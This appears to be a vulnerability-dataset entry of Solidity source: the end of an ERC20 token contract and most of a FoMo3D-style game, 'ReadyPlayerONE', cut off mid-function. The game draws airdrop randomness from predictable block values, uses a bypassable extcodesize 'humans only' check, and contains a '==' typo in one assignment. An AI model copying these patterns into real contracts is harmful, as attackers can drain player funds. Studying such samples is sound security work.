function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Token is Ownable, ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 internal _totalSupply;
constructor(uint256 initialAmount) public {
if (initialAmount == 0)
return;
balances[msg.sender] = initialAmount;
_totalSupply = initialAmount;
emit Transfer(address(0), msg.sender, initialAmount);
}
function totalSupply() public view returns(uint256 supply)
{
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public notNull(_spender) returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowed[_from][msg.sender], "insufficient tokens");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return transferInternal(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferInternal(address _from, address _to, uint256 _value) internal notNull(_from) notNull(_to) returns (bool) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract PausableToken is ERC20Token, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool success) {
return super.approve(_spender, _value);
}
}
contract MintableToken is PausableToken
{
using SafeMath for uint256;
mapping(address => bool) internal minters;
modifier onlyMinter {
require(minters[msg.sender], "Caller not minter");
_;
}
constructor() public {
addMinter(msg.sender);
}
function mint(address _to, uint256 _value) public onlyMinter {
mintInternal(_to, _value);
}
function addMinter(address _newMinter) public notNull(_newMinter) onlyOwner {
if (minters[_newMinter])
return;
minters[_newMinter] = true;
emit AddMinter(_newMinter);
}
function removeMinter(address _oldMinter) public notNull(_oldMinter) onlyOwner {
if (!minters[_oldMinter])
return;
minters[_oldMinter] = false;
emit RemoveMinter(_oldMinter);
}
function isMinter(address _minter) public notNull(_minter) view returns(bool) {
return minters[_minter];
}
function mintInternal(address _to, uint256 _value) internal notNull(_to) {
balances[_to] = balances[_to].add(_value);
_totalSupply = _totalSupply.add(_value);
emit Transfer(address(0), _to, _value);
}
function burn(address _from, uint256 _value) internal notNull(_from) {
balances[_from] = balances[_from].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Transfer(_from, address(0), _value);
}
event AddMinter(address indexed newMinter);
event RemoveMinter(address indexed oldMinter);
}
contract MigrationAgent is Ownable, Pausable {
address public migrationToContract;
address public migrationFromContract;
modifier onlyMigrationFromContract() {
require(msg.sender == migrationFromContract, "Only from migration contract");
_;
}
function startMigrateToContract(address _toContract) public onlyOwner whenPaused {
migrationToContract = _toContract;
require(MigrationAgent(migrationToContract).isMigrationAgent(), "not a migratable contract");
emit StartMigrateToContract(address(this), _toContract);
}
function startMigrateFromContract(address _fromContract) public onlyOwner whenPaused {
migrationFromContract = _fromContract;
require(MigrationAgent(migrationFromContract).isMigrationAgent(), "not a migratable contract");
emit StartMigrateFromContract(_fromContract, address(this));
}
function migrate() public;
function migrateFrom(address _from, uint256 _value) public returns(bool);
function isMigrationAgent() public pure returns(bool) {
return true;
}
event StartMigrateToContract(address indexed fromContract, address indexed toContract);
event StartMigrateFromContract(address indexed fromContract, address indexed toContract);
event MigratedTo(address indexed owner, address indexed _contract, uint256 value);
event MigratedFrom(address indexed owner, address indexed _contract, uint256 value);
}
contract ActiveBitcoinEtherCertificate is MintableToken, MigrationAgent {
using SafeMath for uint256;
string constant public name = "Active Bitcoin Ether Certificate";
string constant public symbol = "ABEC";
uint8 constant public decimals = 5;
string constant public version = "1.0.0.0";
address public redeemAddress;
string public description;
constructor(address _redeemAddress) ERC20Token(0) notNull(_redeemAddress) public {
redeemAddress = _redeemAddress;
}
function updateDescription(string calldata _text) external onlyMinter {
description = _text;
}
function migrateFrom(address _from, uint256 _value) public onlyMigrationFromContract whenNotPaused returns(bool) {
mintInternal(_from, _value);
emit MigratedFrom(_from, migrationFromContract, _value);
return true;
}
function migrate() public whenNotPaused {
require(migrationToContract != address(0), "not in migration mode");
uint256 value = balanceOf(msg.sender);
require (value > 0, "no balance");
burn(msg.sender, value);
require(MigrationAgent(migrationToContract).migrateFrom(msg.sender, value)==true, "migrateFrom must return true");
emit MigratedTo(msg.sender, migrationToContract, value);
}
function refundForeignTokens(address _tokenaddress,address _to) public notNull(_to) onlyMinter {
require(_tokenaddress != address(this), "Must not be self");
ERC20Interface token = ERC20Interface(_tokenaddress);
(bool success, bytes memory returndata) = address(token).call(abi.encodeWithSelector(token.transfer.selector, _to, token.balanceOf(address(this))));
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
function transferAccount(address _from, address _to) public onlyMinter returns (bool result) {
uint256 balance = balanceOf(_from);
if(_to == redeemAddress) {
result = transferInternal(_from, _to, balance);
} else {
result = super.transferInternal(_from, _to, balance);
}
emit TransferAccount(_from, _to);
}
function transferInternal(address _from, address _to, uint256 _value) internal notNull(_from) returns (bool) {
require(_to == redeemAddress, "Wrong destination address");
balances[_from] = balances[_from].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_to, address(0), _value);
return true;
}
event TransferAccount(address indexed _from, address indexed _to);
} | 1 | 3,214 |
pragma solidity ^0.4.24;
contract RP1events {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 rp1Amount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is RP1events {}
contract ReadyPlayerONE is modularLong {
using SafeMath for *;
using NameFilter for string;
using RP1KeysCalcLong for uint256;
address community_addr = 0xa4E39A9e503Ce2a4f7d416096CF5E2d2922F092e;
address marketing_addr = 0x2bcF32E60c1Bc6D0574c803253Fd09e46FBf00C9;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB598a3b241d889b486281967805165B3CFf4e43d);
string constant public name = "Ready Player ONE";
string constant public symbol = "RP1";
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 3 hours;
uint256 constant private rndInc_ = 15 seconds;
uint256 constant private rndMax_ = 3 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RP1datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => RP1datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => RP1datasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => RP1datasets.TeamFee) public fees_;
mapping (uint256 => RP1datasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = RP1datasets.TeamFee(30,0);
fees_[1] = RP1datasets.TeamFee(41,0);
fees_[2] = RP1datasets.TeamFee(60,0);
fees_[3] = RP1datasets.TeamFee(46,0);
potSplit_[0] = RP1datasets.PotSplit(32,0);
potSplit_[1] = RP1datasets.PotSplit(25,0);
potSplit_[2] = RP1datasets.PotSplit(35,0);
potSplit_[3] = RP1datasets.PotSplit(44,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RP1datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RP1datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RP1datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RP1datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
RP1datasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RP1events.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RP1events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RP1events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(58)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RP1events.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, RP1datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RP1events.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.rp1Amount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RP1datasets.EventReturns memory _eventData_)
private
returns (RP1datasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, RP1datasets.EventReturns memory _eventData_)
private
returns (RP1datasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RP1datasets.EventReturns memory _eventData_)
private
returns (RP1datasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(58)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _rp1 = (_pot.mul(potSplit_[_winTID].rp1)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_rp1);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_rp1 > 0){
_res = _res.add(_rp1);
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.rp1Amount = _rp1;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_)
private
returns(RP1datasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _rp1;
community_addr.transfer(_com);
uint256 _long = _eth / 100;
marketing_addr.transfer(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RP1events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_rp1 = _aff;
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit RP1events.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, RP1datasets.EventReturns memory _eventData_)
private
returns(RP1datasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(3) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(18)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
